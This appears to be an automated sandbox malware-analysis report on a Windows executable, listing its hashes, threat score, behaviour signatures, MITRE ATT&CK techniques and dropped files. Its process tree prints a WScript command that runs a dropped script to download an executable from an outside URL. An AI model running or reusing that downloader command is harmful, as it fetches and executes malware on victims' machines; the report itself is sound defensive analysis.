ad68409fb5261643f65366470b0c59b4fadb3c277549d2a1ded6c3726fe1c80a

Analysis

max time kernel
122s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
28/11/2022, 02:41

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General

Target

ad68409fb5261643f65366470b0c59b4fadb3c277549d2a1ded6c3726fe1c80a.exe
Size

184KB
MD5

61a39f014c207dfa6acd039e6f057847
SHA1

8d770b8ef3f303087cec6248853806e7877f4b4f
SHA256

ad68409fb5261643f65366470b0c59b4fadb3c277549d2a1ded6c3726fe1c80a
SHA512

70527229bbf588359ae70ad8df89cfb95c92a1afafe6f3a968cfd00691e60517a9c86740a0defdfac19ebd649ba4d8bff0b973b5a7df5fea92be248eb802b673
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3e:/7BSH8zUB+nGESaaRvoB7FJNndnn

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	3672	WScript.exe
8	3672	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	ad68409fb5261643f65366470b0c59b4fadb3c277549d2a1ded6c3726fe1c80a.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	ad68409fb5261643f65366470b0c59b4fadb3c277549d2a1ded6c3726fe1c80a.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2356 wrote to memory of 3672	2356	ad68409fb5261643f65366470b0c59b4fadb3c277549d2a1ded6c3726fe1c80a.exe	81
PID 2356 wrote to memory of 3672	2356	ad68409fb5261643f65366470b0c59b4fadb3c277549d2a1ded6c3726fe1c80a.exe	81
PID 2356 wrote to memory of 3672	2356	ad68409fb5261643f65366470b0c59b4fadb3c277549d2a1ded6c3726fe1c80a.exe	81

C:\Users\Admin\AppData\Local\Temp\ad68409fb5261643f65366470b0c59b4fadb3c277549d2a1ded6c3726fe1c80a.exe
"C:\Users\Admin\AppData\Local\Temp\ad68409fb5261643f65366470b0c59b4fadb3c277549d2a1ded6c3726fe1c80a.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB914.js" http://www.djapp.info/?domain=aCZgDLQyXu.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufB914.exe
  2⤵
  - Blocklisted process makes network request
  PID:3672

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\fufB914.exe

Filesize
570B

MD5
0fe2e06a246aa856fc9c825926bd1105

SHA1
676c336a58b5fd6d546a07408ae55ebf62e9164f

SHA256
bf0a1b7b26641a553a147cd09127a613624a9056bbca1ae488ed55e734d18a6d

SHA512
a0363c727e11c4f7237f17da09efaf769c1c276296f52498faca0ec87858cf33505876de2df4a9ba2c3387de331eac120a0208857e6cae569387004675379dca

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C:\Users\Admin\AppData\Local\Temp\fufB914.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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